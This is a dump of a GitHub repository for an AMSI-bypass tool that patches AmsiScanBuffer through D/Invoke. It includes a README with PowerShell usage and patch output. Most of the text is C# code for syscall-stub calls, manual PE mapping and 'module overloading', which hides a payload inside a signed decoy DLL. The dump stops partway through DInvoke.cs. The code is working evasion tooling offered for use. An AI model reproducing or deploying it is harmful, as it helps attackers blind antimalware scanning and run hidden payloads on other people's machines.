├── .gitattributes
├── .github
└── FUNDING.yml
├── README.md
├── SyscallBypass.sln
└── SyscallBypass
├── DInvoke.cs
├── Program.cs
├── Properties
└── AssemblyInfo.cs
└── SyscallBypass.csproj
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: [S3cur3Th1sSh1t]
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SyscallAmsiScanBufferBypass
2 |
3 | AmsiScanBuffer Patch using D/Invoke.
4 |
5 | Credit goes to [RastaMouses original work](https://github.com/rasta-mouse/AmsiScanBufferBypass).
6 |
7 | I was just using [TheWovers D/Invoke](https://thewover.github.io/Dynamic-Invoke/) to port the `P/Invoke` functions to `D/Invoke`.
8 |
9 | ### C#
10 |
11 | Can be compiled to a DLL and loaded via reflection, or included in a larger .NET Assembly (e.g. [SharpSploit](https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Evasion/Amsi.cs)).
12 |
13 | ```
14 | PS > PS C:\temp> add-type -Path .\SyscallBypass.dll
15 | PS > [Patch.bySyscall]::Patch()
16 |
17 | [>] Manually mapping kernel32.dll into current process memory
18 |
19 | Successfully allocated memory!
20 | Successfully wrote PE header
21 | Successfully wrote section .text
22 | Successfully wrote section .rdata
23 | Successfully wrote section .data
24 | Successfully wrote section .pdata
25 | Successfully wrote section .rsrc
26 | Successfully wrote section .reloc
27 |
28 | [>] Module Base : 24AFF3D0000
29 |
30 | [>] Process Handle : 7FFF8DC60000
31 |
32 | [>] Patch address : 7FFF8DC62420
33 |
34 | [+] NtProtectVirtualMemory success, going to patch it now!
35 |
36 | [>] Patching at address : 7FFF8DC62420
37 |
38 | [+] NtProtectVirtualMemory set back to oldprotect!
39 | ```
40 |
41 |
42 |
--------------------------------------------------------------------------------
/SyscallBypass.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30413.136
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SyscallBypass", "SyscallBypass\SyscallBypass.csproj", "{3E4E00BF-0903-4C5E-82E7-FD338B383DEA}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {9929B255-1354-415A-9A0D-EF87BF880E1C}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SyscallBypass/DInvoke.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.IO;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Diagnostics;
8 | using System.Security.Cryptography;
9 | using System.Security.Cryptography.X509Certificates;
10 |
11 | namespace Patch
12 | {
13 | public class DInvoke
14 | {
15 |
16 |
17 | class Utilities
18 | {
19 | ///
20 | /// Checks that a file is signed and has a valid signature.
21 | ///
22 | /// Path of file to check.
23 | ///
24 | public static bool FileHasValidSignature(string FilePath)
25 | {
26 | X509Certificate2 FileCertificate;
27 | try
28 | {
29 | X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath);
30 | FileCertificate = new X509Certificate2(signer);
31 | }
32 | catch
33 | {
34 | return false;
35 | }
36 |
37 | X509Chain CertificateChain = new X509Chain();
38 | CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
39 | CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline;
40 | CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;
41 |
42 | return CertificateChain.Build(FileCertificate);
43 | }
44 | }
45 |
46 | public class Overload
47 | {
48 | ///
49 | /// Locate a signed module with a minimum size which can be used for overloading.
50 | ///
51 | /// The Wover (@TheRealWover)
52 | /// Minimum module byte size.
53 | /// Whether to require that the module be legitimately signed.
54 | ///
55 | /// String, the full path for the candidate module if one is found, or an empty string if one is not found.
56 | ///
57 | public static string FindDecoyModule(long MinSize, bool LegitSigned = false)
58 | {
59 | string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32";
60 | List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll"));
61 | foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
62 | {
63 | if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))
64 | {
65 | files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));
66 | }
67 | }
68 |
69 | //Pick a random candidate that meets the requirements
70 |
71 | Random r = new Random();
72 | //List of candidates that have been considered and rejected
73 | List candidates = new List();
74 | while (candidates.Count != files.Count)
75 | {
76 | //Iterate through the list of files randomly
77 | int rInt = r.Next(0, files.Count);
78 | string currentCandidate = files[rInt];
79 |
80 | //Check that the size of the module meets requirements
81 | if (candidates.Contains(rInt) == false &&
82 | new FileInfo(currentCandidate).Length >= MinSize)
83 | {
84 | //Check that the module meets signing requirements
85 | if (LegitSigned == true)
86 | {
87 | if (Utilities.FileHasValidSignature(currentCandidate) == true)
88 | return currentCandidate;
89 | else
90 | candidates.Add(rInt);
91 | }
92 | else
93 | return currentCandidate;
94 | }
95 | candidates.Add(rInt);
96 | }
97 | return string.Empty;
98 | }
99 |
100 | ///
101 | /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that
102 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
103 | ///
104 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
105 | /// Full path to the payload module on disk.
106 | /// Optional, full path the decoy module to overload in memory.
107 | /// PE.PE_MANUAL_MAP
108 | public static PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = false)
109 | {
110 | // Get approximate size of Payload
111 | if (!File.Exists(PayloadPath))
112 | {
113 | throw new InvalidOperationException("Payload filepath not found.");
114 | }
115 | byte[] Payload = File.ReadAllBytes(PayloadPath);
116 |
117 | return OverloadModule(Payload, DecoyModulePath, LegitSigned);
118 | }
119 |
120 | ///
121 | /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that
122 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
123 | ///
124 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
125 | /// Full byte array for the payload module.
126 | /// Optional, full path the decoy module to overload in memory.
127 | /// PE.PE_MANUAL_MAP
128 | public static PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true)
129 | {
130 | // Did we get a DecoyModule?
131 | if (!string.IsNullOrEmpty(DecoyModulePath))
132 | {
133 | if (!File.Exists(DecoyModulePath))
134 | {
135 | throw new InvalidOperationException("Decoy filepath not found.");
136 | }
137 | byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath);
138 | if (DecoyFileBytes.Length < Payload.Length)
139 | {
140 | throw new InvalidOperationException("Decoy module is too small to host the payload.");
141 | }
142 | }
143 | else
144 | {
145 | DecoyModulePath = FindDecoyModule(Payload.Length);
146 | if (string.IsNullOrEmpty(DecoyModulePath))
147 | {
148 | throw new InvalidOperationException("Failed to find suitable decoy module.");
149 | }
150 | }
151 |
152 | // Map decoy from disk
153 | PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath);
154 | IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage;
155 |
156 | // Change permissions to RW
157 | DynamicNative.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Win32.WinNT.PAGE_READWRITE);
158 |
159 | // Zero out memory
160 | DynamicNative.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize);
161 |
162 | // Overload module in memory
163 | PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase);
164 | OverloadedModuleMetaData.DecoyModule = DecoyModulePath;
165 |
166 | return OverloadedModuleMetaData;
167 | }
168 | }
169 |
170 | public static class PE
171 | {
172 | // DllMain constants
173 | public const UInt32 DLL_PROCESS_DETACH = 0;
174 | public const UInt32 DLL_PROCESS_ATTACH = 1;
175 | public const UInt32 DLL_THREAD_ATTACH = 2;
176 | public const UInt32 DLL_THREAD_DETACH = 3;
177 |
178 | // Primary class for loading PE
179 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
180 | public delegate bool DllMain(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved);
181 |
182 | [Flags]
183 | public enum DataSectionFlags : uint
184 | {
185 | TYPE_NO_PAD = 0x00000008,
186 | CNT_CODE = 0x00000020,
187 | CNT_INITIALIZED_DATA = 0x00000040,
188 | CNT_UNINITIALIZED_DATA = 0x00000080,
189 | LNK_INFO = 0x00000200,
190 | LNK_REMOVE = 0x00000800,
191 | LNK_COMDAT = 0x00001000,
192 | NO_DEFER_SPEC_EXC = 0x00004000,
193 | GPREL = 0x00008000,
194 | MEM_FARDATA = 0x00008000,
195 | MEM_PURGEABLE = 0x00020000,
196 | MEM_16BIT = 0x00020000,
197 | MEM_LOCKED = 0x00040000,
198 | MEM_PRELOAD = 0x00080000,
199 | ALIGN_1BYTES = 0x00100000,
200 | ALIGN_2BYTES = 0x00200000,
201 | ALIGN_4BYTES = 0x00300000,
202 | ALIGN_8BYTES = 0x00400000,
203 | ALIGN_16BYTES = 0x00500000,
204 | ALIGN_32BYTES = 0x00600000,
205 | ALIGN_64BYTES = 0x00700000,
206 | ALIGN_128BYTES = 0x00800000,
207 | ALIGN_256BYTES = 0x00900000,
208 | ALIGN_512BYTES = 0x00A00000,
209 | ALIGN_1024BYTES = 0x00B00000,
210 | ALIGN_2048BYTES = 0x00C00000,
211 | ALIGN_4096BYTES = 0x00D00000,
212 | ALIGN_8192BYTES = 0x00E00000,
213 | ALIGN_MASK = 0x00F00000,
214 | LNK_NRELOC_OVFL = 0x01000000,
215 | MEM_DISCARDABLE = 0x02000000,
216 | MEM_NOT_CACHED = 0x04000000,
217 | MEM_NOT_PAGED = 0x08000000,
218 | MEM_SHARED = 0x10000000,
219 | MEM_EXECUTE = 0x20000000,
220 | MEM_READ = 0x40000000,
221 | MEM_WRITE = 0x80000000
222 | }
223 |
224 |
225 | public struct IMAGE_DOS_HEADER
226 | { // DOS .EXE header
227 | public UInt16 e_magic; // Magic number
228 | public UInt16 e_cblp; // Bytes on last page of file
229 | public UInt16 e_cp; // Pages in file
230 | public UInt16 e_crlc; // Relocations
231 | public UInt16 e_cparhdr; // Size of header in paragraphs
232 | public UInt16 e_minalloc; // Minimum extra paragraphs needed
233 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed
234 | public UInt16 e_ss; // Initial (relative) SS value
235 | public UInt16 e_sp; // Initial SP value
236 | public UInt16 e_csum; // Checksum
237 | public UInt16 e_ip; // Initial IP value
238 | public UInt16 e_cs; // Initial (relative) CS value
239 | public UInt16 e_lfarlc; // File address of relocation table
240 | public UInt16 e_ovno; // Overlay number
241 | public UInt16 e_res_0; // Reserved words
242 | public UInt16 e_res_1; // Reserved words
243 | public UInt16 e_res_2; // Reserved words
244 | public UInt16 e_res_3; // Reserved words
245 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
246 | public UInt16 e_oeminfo; // OEM information; e_oemid specific
247 | public UInt16 e_res2_0; // Reserved words
248 | public UInt16 e_res2_1; // Reserved words
249 | public UInt16 e_res2_2; // Reserved words
250 | public UInt16 e_res2_3; // Reserved words
251 | public UInt16 e_res2_4; // Reserved words
252 | public UInt16 e_res2_5; // Reserved words
253 | public UInt16 e_res2_6; // Reserved words
254 | public UInt16 e_res2_7; // Reserved words
255 | public UInt16 e_res2_8; // Reserved words
256 | public UInt16 e_res2_9; // Reserved words
257 | public UInt32 e_lfanew; // File address of new exe header
258 | }
259 |
260 | [StructLayout(LayoutKind.Sequential)]
261 | public struct IMAGE_DATA_DIRECTORY
262 | {
263 | public UInt32 VirtualAddress;
264 | public UInt32 Size;
265 | }
266 |
267 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
268 | public struct IMAGE_OPTIONAL_HEADER32
269 | {
270 | public UInt16 Magic;
271 | public Byte MajorLinkerVersion;
272 | public Byte MinorLinkerVersion;
273 | public UInt32 SizeOfCode;
274 | public UInt32 SizeOfInitializedData;
275 | public UInt32 SizeOfUninitializedData;
276 | public UInt32 AddressOfEntryPoint;
277 | public UInt32 BaseOfCode;
278 | public UInt32 BaseOfData;
279 | public UInt32 ImageBase;
280 | public UInt32 SectionAlignment;
281 | public UInt32 FileAlignment;
282 | public UInt16 MajorOperatingSystemVersion;
283 | public UInt16 MinorOperatingSystemVersion;
284 | public UInt16 MajorImageVersion;
285 | public UInt16 MinorImageVersion;
286 | public UInt16 MajorSubsystemVersion;
287 | public UInt16 MinorSubsystemVersion;
288 | public UInt32 Win32VersionValue;
289 | public UInt32 SizeOfImage;
290 | public UInt32 SizeOfHeaders;
291 | public UInt32 CheckSum;
292 | public UInt16 Subsystem;
293 | public UInt16 DllCharacteristics;
294 | public UInt32 SizeOfStackReserve;
295 | public UInt32 SizeOfStackCommit;
296 | public UInt32 SizeOfHeapReserve;
297 | public UInt32 SizeOfHeapCommit;
298 | public UInt32 LoaderFlags;
299 | public UInt32 NumberOfRvaAndSizes;
300 |
301 | public IMAGE_DATA_DIRECTORY ExportTable;
302 | public IMAGE_DATA_DIRECTORY ImportTable;
303 | public IMAGE_DATA_DIRECTORY ResourceTable;
304 | public IMAGE_DATA_DIRECTORY ExceptionTable;
305 | public IMAGE_DATA_DIRECTORY CertificateTable;
306 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
307 | public IMAGE_DATA_DIRECTORY Debug;
308 | public IMAGE_DATA_DIRECTORY Architecture;
309 | public IMAGE_DATA_DIRECTORY GlobalPtr;
310 | public IMAGE_DATA_DIRECTORY TLSTable;
311 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
312 | public IMAGE_DATA_DIRECTORY BoundImport;
313 | public IMAGE_DATA_DIRECTORY IAT;
314 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
315 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
316 | public IMAGE_DATA_DIRECTORY Reserved;
317 | }
318 |
319 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
320 | public struct IMAGE_OPTIONAL_HEADER64
321 | {
322 | public UInt16 Magic;
323 | public Byte MajorLinkerVersion;
324 | public Byte MinorLinkerVersion;
325 | public UInt32 SizeOfCode;
326 | public UInt32 SizeOfInitializedData;
327 | public UInt32 SizeOfUninitializedData;
328 | public UInt32 AddressOfEntryPoint;
329 | public UInt32 BaseOfCode;
330 | public UInt64 ImageBase;
331 | public UInt32 SectionAlignment;
332 | public UInt32 FileAlignment;
333 | public UInt16 MajorOperatingSystemVersion;
334 | public UInt16 MinorOperatingSystemVersion;
335 | public UInt16 MajorImageVersion;
336 | public UInt16 MinorImageVersion;
337 | public UInt16 MajorSubsystemVersion;
338 | public UInt16 MinorSubsystemVersion;
339 | public UInt32 Win32VersionValue;
340 | public UInt32 SizeOfImage;
341 | public UInt32 SizeOfHeaders;
342 | public UInt32 CheckSum;
343 | public UInt16 Subsystem;
344 | public UInt16 DllCharacteristics;
345 | public UInt64 SizeOfStackReserve;
346 | public UInt64 SizeOfStackCommit;
347 | public UInt64 SizeOfHeapReserve;
348 | public UInt64 SizeOfHeapCommit;
349 | public UInt32 LoaderFlags;
350 | public UInt32 NumberOfRvaAndSizes;
351 |
352 | public IMAGE_DATA_DIRECTORY ExportTable;
353 | public IMAGE_DATA_DIRECTORY ImportTable;
354 | public IMAGE_DATA_DIRECTORY ResourceTable;
355 | public IMAGE_DATA_DIRECTORY ExceptionTable;
356 | public IMAGE_DATA_DIRECTORY CertificateTable;
357 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
358 | public IMAGE_DATA_DIRECTORY Debug;
359 | public IMAGE_DATA_DIRECTORY Architecture;
360 | public IMAGE_DATA_DIRECTORY GlobalPtr;
361 | public IMAGE_DATA_DIRECTORY TLSTable;
362 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
363 | public IMAGE_DATA_DIRECTORY BoundImport;
364 | public IMAGE_DATA_DIRECTORY IAT;
365 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
366 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
367 | public IMAGE_DATA_DIRECTORY Reserved;
368 | }
369 |
370 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
371 | public struct IMAGE_FILE_HEADER
372 | {
373 | public UInt16 Machine;
374 | public UInt16 NumberOfSections;
375 | public UInt32 TimeDateStamp;
376 | public UInt32 PointerToSymbolTable;
377 | public UInt32 NumberOfSymbols;
378 | public UInt16 SizeOfOptionalHeader;
379 | public UInt16 Characteristics;
380 | }
381 |
382 | [StructLayout(LayoutKind.Explicit)]
383 | public struct IMAGE_SECTION_HEADER
384 | {
385 | [FieldOffset(0)]
386 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
387 | public char[] Name;
388 | [FieldOffset(8)]
389 | public UInt32 VirtualSize;
390 | [FieldOffset(12)]
391 | public UInt32 VirtualAddress;
392 | [FieldOffset(16)]
393 | public UInt32 SizeOfRawData;
394 | [FieldOffset(20)]
395 | public UInt32 PointerToRawData;
396 | [FieldOffset(24)]
397 | public UInt32 PointerToRelocations;
398 | [FieldOffset(28)]
399 | public UInt32 PointerToLinenumbers;
400 | [FieldOffset(32)]
401 | public UInt16 NumberOfRelocations;
402 | [FieldOffset(34)]
403 | public UInt16 NumberOfLinenumbers;
404 | [FieldOffset(36)]
405 | public DataSectionFlags Characteristics;
406 |
407 | public string Section
408 | {
409 | get { return new string(Name); }
410 | }
411 | }
412 |
413 | [StructLayout(LayoutKind.Explicit)]
414 | public struct IMAGE_EXPORT_DIRECTORY
415 | {
416 | [FieldOffset(0)]
417 | public UInt32 Characteristics;
418 | [FieldOffset(4)]
419 | public UInt32 TimeDateStamp;
420 | [FieldOffset(8)]
421 | public UInt16 MajorVersion;
422 | [FieldOffset(10)]
423 | public UInt16 MinorVersion;
424 | [FieldOffset(12)]
425 | public UInt32 Name;
426 | [FieldOffset(16)]
427 | public UInt32 Base;
428 | [FieldOffset(20)]
429 | public UInt32 NumberOfFunctions;
430 | [FieldOffset(24)]
431 | public UInt32 NumberOfNames;
432 | [FieldOffset(28)]
433 | public UInt32 AddressOfFunctions;
434 | [FieldOffset(32)]
435 | public UInt32 AddressOfNames;
436 | [FieldOffset(36)]
437 | public UInt32 AddressOfOrdinals;
438 | }
439 |
440 | [StructLayout(LayoutKind.Sequential)]
441 | public struct IMAGE_BASE_RELOCATION
442 | {
443 | public uint VirtualAdress;
444 | public uint SizeOfBlock;
445 | }
446 |
447 | [StructLayout(LayoutKind.Sequential)]
448 | public struct PE_META_DATA
449 | {
450 | public UInt32 Pe;
451 | public Boolean Is32Bit;
452 | public IMAGE_FILE_HEADER ImageFileHeader;
453 | public IMAGE_OPTIONAL_HEADER32 OptHeader32;
454 | public IMAGE_OPTIONAL_HEADER64 OptHeader64;
455 | public IMAGE_SECTION_HEADER[] Sections;
456 | }
457 |
458 | [StructLayout(LayoutKind.Sequential)]
459 | public struct PE_MANUAL_MAP
460 | {
461 | public String DecoyModule;
462 | public IntPtr ModuleBase;
463 | public PE_META_DATA PEINFO;
464 | }
465 |
466 | [StructLayout(LayoutKind.Explicit)]
467 | public struct IMAGE_THUNK_DATA32
468 | {
469 | [FieldOffset(0)]
470 | public UInt32 ForwarderString;
471 | [FieldOffset(0)]
472 | public UInt32 Function;
473 | [FieldOffset(0)]
474 | public UInt32 Ordinal;
475 | [FieldOffset(0)]
476 | public UInt32 AddressOfData;
477 | }
478 |
479 | [StructLayout(LayoutKind.Explicit)]
480 | public struct IMAGE_THUNK_DATA64
481 | {
482 | [FieldOffset(0)]
483 | public UInt64 ForwarderString;
484 | [FieldOffset(0)]
485 | public UInt64 Function;
486 | [FieldOffset(0)]
487 | public UInt64 Ordinal;
488 | [FieldOffset(0)]
489 | public UInt64 AddressOfData;
490 | }
491 |
492 | [StructLayout(LayoutKind.Explicit)]
493 | public struct ApiSetNamespace
494 | {
495 | [FieldOffset(0x0C)]
496 | public int Count;
497 |
498 | [FieldOffset(0x10)]
499 | public int EntryOffset;
500 | }
501 |
502 | [StructLayout(LayoutKind.Explicit, Size = 24)]
503 | public struct ApiSetNamespaceEntry
504 | {
505 | [FieldOffset(0x04)]
506 | public int NameOffset;
507 |
508 | [FieldOffset(0x08)]
509 | public int NameLength;
510 |
511 | [FieldOffset(0x10)]
512 | public int ValueOffset;
513 | }
514 |
515 | [StructLayout(LayoutKind.Explicit)]
516 | public struct ApiSetValueEntry
517 | {
518 | [FieldOffset(0x0C)]
519 | public int ValueOffset;
520 |
521 | [FieldOffset(0x10)]
522 | public int ValueCount;
523 | }
524 |
525 | [StructLayout(LayoutKind.Sequential)]
526 | public struct LDR_DATA_TABLE_ENTRY
527 | {
528 | public Native.LIST_ENTRY InLoadOrderLinks;
529 | public Native.LIST_ENTRY InMemoryOrderLinks;
530 | public Native.LIST_ENTRY InInitializationOrderLinks;
531 | public IntPtr DllBase;
532 | public IntPtr EntryPoint;
533 | public UInt32 SizeOfImage;
534 | public Native.UNICODE_STRING FullDllName;
535 | public Native.UNICODE_STRING BaseDllName;
536 | }
537 | }//end class
538 | public class Map
539 | {
540 |
541 | ///
542 | /// Maps a DLL from disk into a Section using NtCreateSection.
543 | ///
544 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
545 | /// Full path fo the DLL on disk.
546 | /// PE.PE_MANUAL_MAP
547 | public static PE.PE_MANUAL_MAP MapModuleFromDisk(string DLLPath)
548 | {
549 | // Check file exists
550 | if (!File.Exists(DLLPath))
551 | {
552 | throw new InvalidOperationException("Filepath not found.");
553 | }
554 |
555 | // Open file handle
556 | Native.UNICODE_STRING ObjectName = new Native.UNICODE_STRING();
557 | DynamicNative.RtlInitUnicodeString(ref ObjectName, (@"\??\" + DLLPath));
558 | IntPtr pObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(ObjectName));
559 | Marshal.StructureToPtr(ObjectName, pObjectName, true);
560 |
561 | Native.OBJECT_ATTRIBUTES objectAttributes = new Native.OBJECT_ATTRIBUTES();
562 | objectAttributes.Length = Marshal.SizeOf(objectAttributes);
563 | objectAttributes.ObjectName = pObjectName;
564 | objectAttributes.Attributes = 0x40; // OBJ_CASE_INSENSITIVE
565 |
566 | Native.IO_STATUS_BLOCK ioStatusBlock = new Native.IO_STATUS_BLOCK();
567 |
568 | IntPtr hFile = IntPtr.Zero;
569 |
570 | // Syscall NtOpenFile
571 | IntPtr pNtOpenProc = DynamicGeneric.GetSyscallStub("NtOpenFile");
572 | DynamicNative.DELEGATES.NtOpenFile fSyscallNtOpenFile = (DynamicNative.DELEGATES.NtOpenFile)Marshal.GetDelegateForFunctionPointer(pNtOpenProc, typeof(DynamicNative.DELEGATES.NtOpenFile));
573 |
574 |
575 | fSyscallNtOpenFile(
576 | ref hFile,
577 | Win32.Kernel32.FileAccessFlags.FILE_READ_DATA |
578 | Win32.Kernel32.FileAccessFlags.FILE_EXECUTE |
579 | Win32.Kernel32.FileAccessFlags.FILE_READ_ATTRIBUTES |
580 | Win32.Kernel32.FileAccessFlags.SYNCHRONIZE,
581 | ref objectAttributes, ref ioStatusBlock,
582 | Win32.Kernel32.FileShareFlags.FILE_SHARE_READ |
583 | Win32.Kernel32.FileShareFlags.FILE_SHARE_DELETE,
584 | Win32.Kernel32.FileOpenFlags.FILE_SYNCHRONOUS_IO_NONALERT |
585 | Win32.Kernel32.FileOpenFlags.FILE_NON_DIRECTORY_FILE
586 | );
587 |
588 | // Create section from hFile
589 | IntPtr hSection = IntPtr.Zero;
590 | ulong MaxSize = 0;
591 | // Syscall NtCreateSection
592 |
593 | IntPtr pNtCreateSection = DynamicGeneric.GetSyscallStub("NtCreateSection");
594 | DynamicNative.DELEGATES.NtCreateSection fSyscallNtCreateSection = (DynamicNative.DELEGATES.NtCreateSection)Marshal.GetDelegateForFunctionPointer(pNtCreateSection, typeof(DynamicNative.DELEGATES.NtCreateSection));
595 |
596 |
597 | fSyscallNtCreateSection(
598 | ref hSection,
599 | (UInt32)Win32.WinNT.ACCESS_MASK.SECTION_ALL_ACCESS,
600 | IntPtr.Zero,
601 | ref MaxSize,
602 | Win32.WinNT.PAGE_READONLY,
603 | Win32.WinNT.SEC_IMAGE,
604 | hFile
605 | );
606 |
607 | // Map view of file
608 | IntPtr pBaseAddress = IntPtr.Zero;
609 |
610 | // Syscall NtMapViewOfSection
611 | IntPtr pNtMapViewOfSection = DynamicGeneric.GetSyscallStub("NtMapViewOfSection");
612 | DynamicNative.DELEGATES.NtMapViewOfSection fSyscallNtMapViewOfSection = (DynamicNative.DELEGATES.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(pNtMapViewOfSection, typeof(DynamicNative.DELEGATES.NtMapViewOfSection));
613 |
614 |
615 | fSyscallNtMapViewOfSection(
616 | hSection, (IntPtr)(-1), out pBaseAddress,
617 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
618 | out MaxSize, 0x2, 0x0,
619 | Win32.WinNT.PAGE_READWRITE
620 | );
621 |
622 | // Prepare return object
623 | PE.PE_MANUAL_MAP SecMapObject = new PE.PE_MANUAL_MAP
624 | {
625 | PEINFO = DynamicGeneric.GetPeMetaData(pBaseAddress),
626 | ModuleBase = pBaseAddress
627 | };
628 |
629 | return SecMapObject;
630 | }
631 |
632 | ///
633 | /// Allocate file to memory from disk
634 | ///
635 | /// Ruben Boonen (@FuzzySec)
636 | /// Full path to the file to be alloacted.
637 | /// IntPtr base address of the allocated file.
638 | public static IntPtr AllocateFileToMemory(string FilePath)
639 | {
640 | if (!File.Exists(FilePath))
641 | {
642 | throw new InvalidOperationException("Filepath not found.");
643 | }
644 |
645 | byte[] bFile = File.ReadAllBytes(FilePath);
646 | return AllocateBytesToMemory(bFile);
647 | }
648 |
649 | ///
650 | /// Allocate a byte array to memory
651 | ///
652 | /// Ruben Boonen (@FuzzySec)
653 | /// Byte array to be allocated.
654 | /// IntPtr base address of the allocated file.
655 | public static IntPtr AllocateBytesToMemory(byte[] FileByteArray)
656 | {
657 | IntPtr pFile = Marshal.AllocHGlobal(FileByteArray.Length);
658 | Marshal.Copy(FileByteArray, 0, pFile, FileByteArray.Length);
659 | return pFile;
660 | }
661 |
662 | ///
663 | /// Relocates a module in memory.
664 | ///
665 | /// Ruben Boonen (@FuzzySec)
666 | /// Module meta data struct (PE.PE_META_DATA).
667 | /// Base address of the module in memory.
668 | /// void
669 | public static void RelocateModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
670 | {
671 | PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.BaseRelocationTable : PEINFO.OptHeader64.BaseRelocationTable;
672 | Int64 ImageDelta = PEINFO.Is32Bit ? (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader32.ImageBase) :
673 | (Int64)((UInt64)ModuleMemoryBase - PEINFO.OptHeader64.ImageBase);
674 |
675 | // Ptr for the base reloc table
676 | IntPtr pRelocTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress);
677 | Int32 nextRelocTableBlock = -1;
678 | // Loop reloc blocks
679 | while (nextRelocTableBlock != 0)
680 | {
681 | PE.IMAGE_BASE_RELOCATION ibr = new PE.IMAGE_BASE_RELOCATION();
682 | ibr = (PE.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(pRelocTable, typeof(PE.IMAGE_BASE_RELOCATION));
683 |
684 | Int64 RelocCount = ((ibr.SizeOfBlock - Marshal.SizeOf(ibr)) / 2);
685 | for (int i = 0; i < RelocCount; i++)
686 | {
687 | // Calculate reloc entry ptr
688 | IntPtr pRelocEntry = (IntPtr)((UInt64)pRelocTable + (UInt64)Marshal.SizeOf(ibr) + (UInt64)(i * 2));
689 | UInt16 RelocValue = (UInt16)Marshal.ReadInt16(pRelocEntry);
690 |
691 | // Parse reloc value
692 | // The type should only ever be 0x0, 0x3, 0xA
693 | // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-types
694 | UInt16 RelocType = (UInt16)(RelocValue >> 12);
695 | UInt16 RelocPatch = (UInt16)(RelocValue & 0xfff);
696 |
697 | // Perform relocation
